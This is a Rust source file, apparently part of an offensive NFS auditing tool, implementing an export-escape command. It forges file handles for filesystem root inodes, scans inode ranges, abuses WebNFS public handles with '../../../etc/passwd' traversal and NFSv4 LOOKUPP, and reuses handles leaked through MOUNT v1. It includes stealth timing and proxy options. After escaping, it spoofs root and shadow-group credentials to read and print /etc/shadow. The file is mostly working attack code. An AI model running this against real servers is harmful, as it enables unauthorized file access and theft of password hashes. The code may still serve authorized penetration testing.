use clap::Parser;
use colored::Colorize as _;
use crate::cli::probe::{acquire_and_test_handles, make_client_with_hostname, make_mount_client, make_v2_client_with_hostname, parse_addr_with_port};
use crate::cli::{GlobalOpts, H_BEHAVIOR, H_TARGET};
use crate::engine::file_handle::{EscapeResult, FileHandleAnalyzer, dedup_variants, derive_handle_variants};
use crate::proto::auth::{AuthSys, Credential};
use crate::proto::nfs3::types::FileHandle;
use crate::proto::nfs3::{Nfs3Client, PooledNfs3 as _};
use crate::util::stealth::StealthConfig;
use nfs_v3::FileType;
#[derive(Parser)]
pub(crate) struct EscapeArgs {
#[arg(help_heading = H_TARGET, value_name = "TARGET")]
pub target: String,
#[arg(short = 'e', long, value_name = "PATH", help_heading = H_TARGET)]
pub export: Option<String>,
#[arg(long, default_value_t = DEFAULT_BTRFS_SUBVOLS, value_name = "N", help_heading = H_BEHAVIOR)]
pub btrfs_subvols: u32,
#[arg(long, default_value_t = DEFAULT_MAX_ROOT_SCAN, value_name = "N", help_heading = H_BEHAVIOR)]
pub max_root_scan: u32,
}
pub(crate) const DEFAULT_BTRFS_SUBVOLS: u32 = 16;
pub(crate) const DEFAULT_MAX_ROOT_SCAN: u32 = 200;
#[derive(Debug)]
pub(crate) enum EscapeOutcome {
Success {
candidate: EscapeResult,
note: String,
},
WebNfs {
public_handle: FileHandle,
version: &'static str,
},
Nfs4Lookupp {
root_handle: FileHandle,
},
StaleNoRoot,
Unsupported,
}
pub(crate) async fn run(args: EscapeArgs, globals: &GlobalOpts) -> anyhow::Result<()> {
let target = crate::cli::target::parse(&args.target, args.export.as_deref(), None, true)?;
let host = target.host.to_string();
let export = target.export().unwrap_or("/").to_owned();
run_inner(&host, &export, args.btrfs_subvols, args.max_root_scan, globals).await?;
crate::cli::emit_replay(globals);
Ok(())
}
async fn run_inner(host: &str, export: &str, btrfs_subvols: u32, max_root_scan: u32, globals: &GlobalOpts) -> anyhow::Result<()> {
eprintln!("{}", crate::output::status_info(&format!("Escaping export {host}:{export}")));
if let Some(outcome) = try_webnfs_escape(host, globals).await {
if let EscapeOutcome::WebNfs { ref public_handle, version } = outcome {
print_webnfs_success(public_handle, version, host);
}
return Ok(());
}
let result = find_escape(host, export, btrfs_subvols, max_root_scan, globals, true).await;
let (probe_client, outcome) = match result {
Ok(r) => r,
Err(v3_err) => {
if let Some(r) = find_escape_matrix(host, export, btrfs_subvols, max_root_scan, globals, true).await {
r
} else {
eprintln!("{}", crate::output::status_info("MOUNT v3 failed; trying NFSv2 escape"));
match find_escape_v2(host, export, max_root_scan, globals).await {
Ok(o) => {
match &o {
EscapeOutcome::Success { candidate, note } => print_escape_success(candidate, note, host),
EscapeOutcome::WebNfs { public_handle, version } => print_webnfs_success(public_handle, version, host),
EscapeOutcome::Nfs4Lookupp { root_handle } => print_nfs4_lookupp_success(root_handle, host),
EscapeOutcome::StaleNoRoot => eprintln!("{}", crate::output::status_err(&format!("NFSv2: handle format valid (STALE) but root not found in inodes 2..={max_root_scan}."))),
EscapeOutcome::Unsupported => eprintln!("{}", crate::output::status_err("NFSv2: handle format rejected or export is already the filesystem root.")),
}
return Ok(());
},
Err(v2_err) => {
if let Some(v4) = try_nfs4_escape(host, globals).await {
if let EscapeOutcome::Nfs4Lookupp { ref root_handle } = v4 {
print_nfs4_lookupp_success(root_handle, host);
}
return Ok(());
}
eprintln!("{}", crate::output::status_err("MOUNT failed on both v3 and v1 -- export may not exist or server is unreachable"));
eprintln!(" v3: {v3_err}");
eprintln!(" v1: {v2_err}");
return Ok(());
},
}
}
},
};
match outcome {
EscapeOutcome::Success { candidate, note } => {
print_escape_success(&candidate, ¬e, host);
try_read_shadow_post_escape(&probe_client, &candidate.root_handle).await;
},
EscapeOutcome::WebNfs { public_handle, version } => {
print_webnfs_success(&public_handle, version, host);
},
EscapeOutcome::Nfs4Lookupp { root_handle } => {
print_nfs4_lookupp_success(&root_handle, host);
},
EscapeOutcome::StaleNoRoot | EscapeOutcome::Unsupported => {
if let Some(v4_outcome) = try_nfs4_escape(host, globals).await {
if let EscapeOutcome::Nfs4Lookupp { ref root_handle } = v4_outcome {
print_nfs4_lookupp_success(root_handle, host);
}
return Ok(());
}
if matches!(outcome, EscapeOutcome::StaleNoRoot) {
eprintln!("{}", crate::output::status_err(&format!("Handle format is valid (STALE hits) but root not found in inodes 2..={max_root_scan}. Try --max-root-scan with a higher value.")));
} else {
eprintln!("{}", crate::output::status_err("Export escape not available -- the export already is the filesystem root, or the server rejected the handle format (BADHANDLE / non-Linux)"));
}
},
}
Ok(())
}
pub(crate) async fn find_escape_any(host: &str, export: &str, btrfs_subvols: u32, max_root_scan: u32, globals: &GlobalOpts, announce: bool) -> anyhow::Result<EscapeOutcome> {
if let Some(outcome) = try_webnfs_escape(host, globals).await {
return Ok(outcome);
}
let outcome = match find_escape(host, export, btrfs_subvols, max_root_scan, globals, announce).await {
Ok((_client, o)) => o,
Err(_) => {
if let Some((_client, o)) = find_escape_matrix(host, export, btrfs_subvols, max_root_scan, globals, announce).await {
o
} else {
match find_escape_v2(host, export, max_root_scan, globals).await {
Ok(o) => o,
Err(_) => return Ok(try_nfs4_escape(host, globals).await.unwrap_or(EscapeOutcome::Unsupported)),
}
}
},
};
match outcome {
EscapeOutcome::Success { .. } | EscapeOutcome::WebNfs { .. } | EscapeOutcome::Nfs4Lookupp { .. } => Ok(outcome),
EscapeOutcome::StaleNoRoot | EscapeOutcome::Unsupported => {
if let Some(v4) = try_nfs4_escape(host, globals).await {
Ok(v4)
} else {
Ok(outcome)
}
},
}
}
async fn try_webnfs_escape(host: &str, globals: &GlobalOpts) -> Option<EscapeOutcome> {
let addr = parse_addr_with_port(host, globals.nfs_port).ok()?;
let stealth = StealthConfig::new(globals.delay, globals.jitter);
let traversal = "../../../etc/passwd";
let (_, _, v3_client) = make_client_with_hostname(addr, "/", 0, 0, &[], stealth.clone(), globals.proxy.as_deref(), globals.nfs_port, &globals.hostname);
let public_v3 = FileHandle::from_bytes(&[]);
if v3_client.resolve(&public_v3, traversal).await.is_ok() {
tracing::info!("WebNFS public handle accepted on NFSv3 -- MOUNT bypass confirmed");
return Some(EscapeOutcome::WebNfs { public_handle: public_v3, version: "v3" });
}
let (_, _, v2_client) = make_v2_client_with_hostname(addr, "/", 0, 0, &[], stealth, globals.proxy.as_deref(), globals.nfs_port, &globals.hostname);
let public_v2 = nfs_v2::Nfs2FileHandle([0u8; 32]);
if v2_client.lookup(&public_v2, traversal).await.is_ok() {
tracing::info!("WebNFS public handle accepted on NFSv2 -- MOUNT bypass confirmed");
return Some(EscapeOutcome::WebNfs { public_handle: FileHandle::from_bytes(&public_v2.0), version: "v2" });
}
if let Some(outcome) = try_webnfs_v4(addr, traversal, globals.proxy.as_deref()).await {
return Some(outcome);
}
None
}
async fn try_webnfs_v4(addr: std::net::SocketAddr, traversal: &str, proxy: Option<&str>) -> Option<EscapeOutcome> {
use crate::proto::nfs4::compound::Nfs4DirectClient;
use crate::proto::nfs4::types::{ArgOp, ResOpData};
let mut client = match Nfs4DirectClient::connect_with_auth_proxy(addr, 0, 0, "localhost", proxy).await {
Ok(c) => c,
Err(_) => match Nfs4DirectClient::connect_proxy(addr, proxy).await {
Ok(c) => c,
Err(_) => return None,
},
};
let ops = vec![ArgOp::Putpubfh, ArgOp::Lookup(traversal.to_owned()), ArgOp::Getfh];
if let Ok(res) = client.compound(ops).await
&& res.status == 0
&& let Some(fh_data) = res.results.iter().find_map(|op| if let ResOpData::Fh(fh) = &op.data { Some(fh.clone()) } else { None })
{
tracing::info!("WebNFS public handle accepted on NFSv4 (single LOOKUP) -- MOUNT bypass confirmed");
return Some(EscapeOutcome::WebNfs { public_handle: FileHandle::from_bytes(&fh_data), version: "v4" });
}
let components: Vec<&str> = traversal.split('/').filter(|c| !c.is_empty()).collect();
let mut ops = Vec::with_capacity(components.len() + 2);
ops.push(ArgOp::Putpubfh);
for comp in &components {
ops.push(ArgOp::Lookup((*comp).to_owned()));
}
ops.push(ArgOp::Getfh);
if let Ok(res) = client.compound(ops).await
&& res.status == 0
&& let Some(fh_data) = res.results.iter().find_map(|op| if let ResOpData::Fh(fh) = &op.data { Some(fh.clone()) } else { None })
{
tracing::info!("WebNFS public handle accepted on NFSv4 (component LOOKUP) -- MOUNT bypass confirmed");
return Some(EscapeOutcome::WebNfs { public_handle: FileHandle::from_bytes(&fh_data), version: "v4" });
}
None
}
fn print_webnfs_success(public_handle: &FileHandle, version: &str, host: &str) {
let hex = public_handle.to_hex();
println!();
println!(" {} WebNFS public handle accepted -- MOUNT bypass (NFS{version})", "[+]".bold().green());
println!(" {} Multi-component LOOKUP path traversal confirmed (RFC 2054; C702 App. E)", " ".dimmed());
if hex.is_empty() {
crate::output::print_handle("Public handle", "(zero-length -- pass empty string to --handle)");
} else {
crate::output::print_handle("Public handle", &hex);
}
crate::output::print_handle_next_steps(&hex, host);
println!();
}
pub(crate) async fn find_escape(host: &str, export: &str, btrfs_subvols: u32, max_root_scan: u32, globals: &GlobalOpts, announce: bool) -> anyhow::Result<(Nfs3Client, EscapeOutcome)> {
let addr = parse_addr_with_port(host, globals.nfs_port)?;
let mount = make_mount_client(globals);
let mnt = mount.mount(addr, export).await?;
let (_, _, probe_client) = make_client_with_hostname(addr, export, 0, 0, &[], StealthConfig::new(globals.delay, globals.jitter), globals.proxy.as_deref(), globals.nfs_port, &globals.hostname);
let export_fileid: Option<u64> = match probe_client.attrs(&mnt.handle).await {
Ok(a) => Some(a.fileid),
_ => None,
};
if export_is_fs_root(&probe_client, &mnt.handle).await {
if announce {
eprintln!("{}", crate::output::status_info(&format!("Export {host}:{export} already is the filesystem root -- nothing outside the export to reach")));
}
return Ok((probe_client, EscapeOutcome::Unsupported));
}
let known: Vec<EscapeResult> = FileHandleAnalyzer::construct_root_candidates(&mnt.handle);
for candidate in &known {
if announce {
eprintln!("{}", crate::output::status_info(&format!("Probing {:?} inode {} ...", candidate.fs_type, candidate.inode_number)));
}
if probe_escape_candidate(&probe_client, candidate, export_fileid, &mnt.handle).await {
return Ok((probe_client, EscapeOutcome::Success { candidate: candidate.clone(), note: "verified".to_owned() }));
}
}
let btrfs = FileHandleAnalyzer::construct_btrfs_subvol_handles(&mnt.handle, btrfs_subvols);
let mut announced = std::collections::HashSet::with_capacity(btrfs.len());
for candidate in &btrfs {
if announce && announced.insert(candidate.inode_number) {
eprintln!("{}", crate::output::status_info(&format!("Probing BTRFS subvol {} ...", candidate.inode_number)));
}
if probe_escape_candidate(&probe_client, candidate, export_fileid, &mnt.handle).await {
return Ok((probe_client, EscapeOutcome::Success { candidate: candidate.clone(), note: "subvolume (verified)".to_owned() }));
}
}
if announce && !known.is_empty() {
eprintln!("{}", crate::output::status_warn(&format!("Known candidates returned STALE -- scanning inodes 2..={max_root_scan}")));
}
let seed = &mnt.handle;
let mut found_stale = false;
for inode in 2..=max_root_scan {
let Some(candidate) = FileHandleAnalyzer::construct_handle_for_inode(seed, inode, 0) else {
continue;
};
match probe_client.attrs(&candidate.root_handle).await {
Ok(a) if a.file_type == FileType::Directory => {
let self_id = a.fileid;
if export_fileid.is_none_or(|exp| self_id != exp) && scan_hit_is_root(&probe_client, &candidate.root_handle, self_id).await {
return Ok((probe_client, EscapeOutcome::Success { candidate, note: "found via scan (confirmed root)".to_owned() }));
}
found_stale = true; tracing::debug!(inode, "scan hit a directory but not the filesystem root -- continuing");
},
Ok(_) => {
tracing::debug!(inode, "scan hit non-directory inode (within export subtree)");
},
Err(ref e) if e.is_permission_denied() => {
found_stale = true; if confirm_root_dir(&probe_client, &candidate).await {
return Ok((probe_client, EscapeOutcome::Success { candidate, note: "found via scan (confirmed root dir; root_squash active)".to_owned() }));
}
tracing::debug!(inode, "ACCES but root not confirmed -- continuing scan");
},
Err(ref e) if e.is_stale() => {
found_stale = true;
tracing::debug!(inode, "STALE");
},
Err(e) => {
tracing::debug!(inode, err = %e, "probe rejected");
},
}
}
let outcome = if found_stale { EscapeOutcome::StaleNoRoot } else { EscapeOutcome::Unsupported };
Ok((probe_client, outcome))
}
async fn export_is_fs_root(client: &Nfs3Client, mount_handle: &FileHandle) -> bool {
let Ok(ok) = client.attrs(mount_handle).await else {
return false;
};
if ok.file_type != FileType::Directory {
return false;
}
let export_inode = ok.fileid;
if matches!(export_inode, 2 | 32 | 64 | 128) {
return true;
}
false
}
async fn probe_escape_candidate(client: &Nfs3Client, candidate: &EscapeResult, export_fileid: Option<u64>, export_handle: &FileHandle) -> bool {
match client.attrs(&candidate.root_handle).await {
Ok(a) => {
if a.file_type != FileType::Directory {
return false;
}
if candidate.root_handle.as_bytes() == export_handle.as_bytes() {
return false;
}
if candidate.fs_type != crate::engine::file_handle::FsType::Btrfs && export_fileid.is_some_and(|exp| a.fileid == exp) {
return false;
}
true
},
Err(ref e) if e.is_permission_denied() => true,
_ => false,
}
}
async fn scan_hit_is_root(client: &Nfs3Client, handle: &FileHandle, self_fileid: u64) -> bool {
let Ok((parent, attrs)) = client.resolve(handle, "..").await else { return false };
let parent_id = match attrs {
Some(a) => a.fileid,
None => match client.attrs(&parent).await {
Ok(a) => a.fileid,
Err(_) => return false,
},
};
parent_id == self_fileid
}
async fn confirm_root_dir(client: &Nfs3Client, candidate: &EscapeResult) -> bool {
let cred = Credential::Sys(AuthSys::with_groups(65534, 65534, &[65534], client.machinename()));
let unpriv = client.with_credential(cred, 65534, 65534);
if let Ok(a) = unpriv.attrs(&candidate.root_handle).await
&& a.file_type == FileType::Directory
{
return true;
}
for name in ["etc", "bin", "usr", "var", "lib"] {
if unpriv.resolve(&candidate.root_handle, name).await.is_ok() {
return true;
}
}
false
}
fn print_escape_success(candidate: &EscapeResult, note: &str, host: &str) {
let hex = candidate.root_handle.to_hex();
println!();
println!(" {} {:?} (inode {} {})", "Filesystem:".dimmed(), candidate.fs_type, candidate.inode_number, note);
crate::output::print_handle("Root handle", &hex);
crate::output::print_handle_next_steps(&hex, host);
println!();
}
async fn try_nfs4_escape(host: &str, globals: &GlobalOpts) -> Option<EscapeOutcome> {
use crate::proto::nfs4::compound::Nfs4DirectClient;
use crate::proto::nfs4::types::{ArgOp, ResOpData};
const MAX_DEPTH: usize = 64;
let addr = parse_addr_with_port(host, globals.nfs_port).ok()?;
let stealth = StealthConfig::new(globals.delay, globals.jitter);
let mut client = match Nfs4DirectClient::connect_with_auth_proxy(addr, 0, 0, "localhost", globals.proxy.as_deref()).await {
Ok(c) => c,
Err(_) => match Nfs4DirectClient::connect_proxy(addr, globals.proxy.as_deref()).await {
Ok(c) => c,
Err(_) => return None,
},
};
client = client.with_stealth(stealth);
let export_fh = client.get_root_fh().await.ok()?;
let mut current_fh = export_fh.clone();
let mut depth: usize = 0;
loop {
if depth >= MAX_DEPTH {
tracing::debug!("NFSv4 LOOKUPP hit depth cap ({MAX_DEPTH}) -- aborting");
return None;
}
let ops = vec![ArgOp::Putfh(current_fh.clone()), ArgOp::Lookupp, ArgOp::Getfh];
let res = client.compound(ops).await.ok()?;
if res.status != 0 {
if depth == 0 {
tracing::debug!(status = res.status, "NFSv4 LOOKUPP failed on first attempt -- export boundary enforced");
return None;
}
break;
}
let parent_fh = res.results.iter().find_map(|op| if let ResOpData::Fh(fh) = &op.data { Some(fh.clone()) } else { None })?;
if parent_fh == current_fh {
break;
}
current_fh = parent_fh;
depth += 1;
}
if current_fh == export_fh {
tracing::debug!("NFSv4 LOOKUPP: export already is the filesystem root");
return None;
}
let verified = verify_nfs4_root(&mut client, ¤t_fh).await;
if verified {
tracing::info!(depth, "NFSv4 LOOKUPP escape confirmed -- filesystem root reached");
} else {
tracing::info!(depth, "NFSv4 LOOKUPP escape: reached handle above export root (root not positively confirmed)");
}
let root_handle = FileHandle::from_bytes(¤t_fh);
Some(EscapeOutcome::Nfs4Lookupp { root_handle })
}
async fn verify_nfs4_root(client: &mut crate::proto::nfs4::compound::Nfs4DirectClient, fh: &[u8]) -> bool {
use crate::proto::nfs4::types::ArgOp;
for name in ["etc", "bin", "usr", "var", "lib"] {
let ops = vec![ArgOp::Putfh(fh.to_vec()), ArgOp::Lookup(name.to_owned()), ArgOp::Getfh];
if let Ok(res) = client.compound(ops).await
&& res.status == 0
{
return true;
}
}
false
}
fn print_nfs4_lookupp_success(root_handle: &FileHandle, host: &str) {
let hex = root_handle.to_hex();
println!();
println!(" {} NFSv4 LOOKUPP traversal -- filesystem root reached (RFC 7530 S16.14)", "[+]".bold().green());
crate::output::print_handle("Root handle", &hex);
crate::output::print_handle_next_steps(&hex, host);
println!();
}
async fn find_escape_matrix(host: &str, export: &str, btrfs_subvols: u32, max_root_scan: u32, globals: &GlobalOpts, announce: bool) -> Option<(Nfs3Client, EscapeOutcome)> {
let addr = parse_addr_with_port(host, globals.nfs_port).ok()?;
let mount = make_mount_client(globals);
let stealth = StealthConfig::new(globals.delay, globals.jitter);
let direct_port = globals.nfs_port.unwrap_or(2049);
let (_, _, nfs3) = make_client_with_hostname(addr, export, 0, 0, &[], stealth.clone(), globals.proxy.as_deref(), Some(direct_port), &globals.hostname);
let probe = acquire_and_test_handles(&mount, &nfs3, addr, export, &stealth, globals.nfs_port, globals.proxy.as_deref(), &globals.hostname).await;
if probe.v1_bypass && announce {
eprintln!("{}", crate::output::status_warn("MOUNT v3 denied; MOUNT v1 leaked handle (F-1.6 auth bypass) -- testing cross-version handle reuse"));
}
let seeds = probe.escape_seeds();
if seeds.is_empty() {
return None;
}
for seed_th in &seeds {
let seed = &seed_th.variant.handle;
if export_is_fs_root(&nfs3, seed).await {
continue;
}
let export_fileid: Option<u64> = nfs3.attrs(seed).await.ok().map(|a| a.fileid);
let known = FileHandleAnalyzer::construct_root_candidates(seed);
let btrfs = FileHandleAnalyzer::construct_btrfs_subvol_handles(seed, btrfs_subvols);
for candidate in known.iter().chain(btrfs.iter()) {
if announce {
tracing::debug!(seed = %seed_th.variant.label, fs = ?candidate.fs_type, inode = candidate.inode_number, "probing root candidate");
}
let mut root_variants = derive_handle_variants(&candidate.root_handle, "root");
dedup_variants(&mut root_variants);
for rv in &root_variants {
stealth.wait().await;
match nfs3.attrs(&rv.handle).await {
Ok(a) if a.file_type == FileType::Directory => {
if export_fileid.is_none_or(|exp| a.fileid != exp) {
let note = format!("verified (matrix: seed={}, root_variant={})", seed_th.variant.label, rv.label);
return Some((nfs3, EscapeOutcome::Success { candidate: EscapeResult { root_handle: rv.handle.clone(), ..candidate.clone() }, note }));
}
},
Err(ref e) if e.is_permission_denied() && confirm_root_dir(&nfs3, &EscapeResult { root_handle: rv.handle.clone(), ..candidate.clone() }).await => {
let note = format!("confirmed root (matrix: seed={}, root_variant={}, root_squash active)", seed_th.variant.label, rv.label);
return Some((nfs3, EscapeOutcome::Success { candidate: EscapeResult { root_handle: rv.handle.clone(), ..candidate.clone() }, note }));
},
_ => {},
}
{
stealth.wait().await;
let v2_fh = nfs_v2::wire::Nfs2FileHandle::from_bytes(rv.handle.as_bytes());
let v2_stealth = StealthConfig::new(globals.delay, globals.jitter);
let (_, _, v2_client) = make_v2_client_with_hostname(addr, export, 0, 0, &[], v2_stealth, globals.proxy.as_deref(), globals.nfs_port, &globals.hostname);
if let Ok(a) = v2_client.getattr(&v2_fh).await
&& a.ftype == nfs_v2::wire::FType::Directory
{
let note = format!("verified via NFSv2 (matrix: seed={}, root_variant={})", seed_th.variant.label, rv.label);
return Some((nfs3, EscapeOutcome::Success { candidate: EscapeResult { root_handle: rv.handle.clone(), ..candidate.clone() }, note }));
}
}
}
}
for inode in 2..=max_root_scan {
let Some(candidate) = FileHandleAnalyzer::construct_handle_for_inode(seed, inode, 0) else { continue };
stealth.wait().await;
match nfs3.attrs(&candidate.root_handle).await {
Ok(a) if a.file_type == FileType::Directory => {
let self_id = a.fileid;
if export_fileid.is_none_or(|exp| self_id != exp) && scan_hit_is_root(&nfs3, &candidate.root_handle, self_id).await {
let note = format!("found via scan (matrix: seed={})", seed_th.variant.label);
return Some((nfs3, EscapeOutcome::Success { candidate, note }));
}
},
Err(ref e) if e.is_permission_denied() && confirm_root_dir(&nfs3, &candidate).await => {
let note = format!("found via scan (matrix: seed={}, root_squash active)", seed_th.variant.label);
return Some((nfs3, EscapeOutcome::Success { candidate, note }));
},
_ => {},
}
}
}
None
}
async fn find_escape_v2(host: &str, export: &str, max_root_scan: u32, globals: &GlobalOpts) -> anyhow::Result<EscapeOutcome> {
use nfs_v2::wire::{FType, Nfs2FileHandle};
let addr = parse_addr_with_port(host, globals.nfs_port)?;
let mc = make_mount_client(globals);
let mnt = mc.mount_v1(addr, export).await?;
let seed = mnt.handle;
let stealth = StealthConfig::new(globals.delay, globals.jitter);
let (_pool, _circuit, client) = make_v2_client_with_hostname(addr, export, 0, 0, &[], stealth, globals.proxy.as_deref(), globals.nfs_port, &globals.hostname);
let export_fh = Nfs2FileHandle::from_bytes(seed.as_bytes());
if let Ok(attrs) = client.getattr(&export_fh).await
&& attrs.ftype == FType::Directory
&& matches!(attrs.fileid, 2 | 32 | 64 | 128)
{
eprintln!("{}", crate::output::status_info(&format!("Export {host}:{export} already is the filesystem root -- nothing outside the export to reach")));
return Ok(EscapeOutcome::Unsupported);
}
let mut found_stale = false;
let known = FileHandleAnalyzer::construct_root_candidates(&seed);
for candidate in &known {
let fh = Nfs2FileHandle::from_bytes(candidate.root_handle.as_bytes());
match client.getattr(&fh).await {
Ok(a) if a.ftype == FType::Directory => {
return Ok(EscapeOutcome::Success { candidate: candidate.clone(), note: "verified (NFSv2)".to_owned() });
},
Err(e) if matches!(e.status(), Some(nfs_v2::Nfs2Stat::Stale)) => {
found_stale = true;
},
_ => {},
}
}
for inode in 2..=max_root_scan {
let Some(candidate) = FileHandleAnalyzer::construct_handle_for_inode(&seed, inode, 0) else { continue };
let fh = Nfs2FileHandle::from_bytes(candidate.root_handle.as_bytes());
match client.getattr(&fh).await {
Ok(a) if a.ftype == FType::Directory => {
return Ok(EscapeOutcome::Success { candidate, note: "found via scan (NFSv2)".to_owned() });
},
Err(e) if matches!(e.status(), Some(nfs_v2::Nfs2Stat::Stale)) => {
found_stale = true;
},
_ => {},
}
}
let btrfs = FileHandleAnalyzer::construct_btrfs_subvol_handles(&seed, DEFAULT_BTRFS_SUBVOLS);
for candidate in &btrfs {
let fh = Nfs2FileHandle::from_bytes(candidate.root_handle.as_bytes());
match client.getattr(&fh).await {
Ok(a) if a.ftype == FType::Directory => {
return Ok(EscapeOutcome::Success { candidate: candidate.clone(), note: "subvolume (verified, NFSv2)".to_owned() });
},
Err(e) if matches!(e.status(), Some(nfs_v2::Nfs2Stat::Stale)) => {
found_stale = true;
},
_ => {},
}
}
Ok(if found_stale { EscapeOutcome::StaleNoRoot } else { EscapeOutcome::Unsupported })
}
async fn try_read_shadow_post_escape(client: &Nfs3Client, root_fh: &FileHandle) {
const SHADOW_GIDS: &[(u32, &str)] = &[(42, "Debian/Ubuntu shadow"), (15, "SUSE shadow")];
let Ok((etc_fh, _)) = client.resolve(root_fh, "etc").await else { return };
let Ok((shadow_fh, _)) = client.resolve(&etc_fh, "shadow").await else {
eprintln!("{}", crate::output::status_info("/etc/shadow not found (non-standard OS or no shadow file)"));
return;
};
for &(gid, label) in SHADOW_GIDS {
let cred = Credential::Sys(AuthSys::with_groups(0, gid, &[gid], "nfswolf"));
let shadow_client = client.with_credential(cred, 0, gid);
if let Ok(chunk) = shadow_client.read_at(&shadow_fh, 0, 65536).await {
let content = String::from_utf8_lossy(&chunk.data);
eprintln!("{}", crate::output::status_ok(&format!("/etc/shadow readable via GID {gid} ({label}):")));
for line in content.lines().take(10) {
println!(" {line}");
}
return;
}
}
eprintln!("{}", crate::output::status_info("/etc/shadow: not readable via shadow GID (root_squash active or shadow hardened)"));
}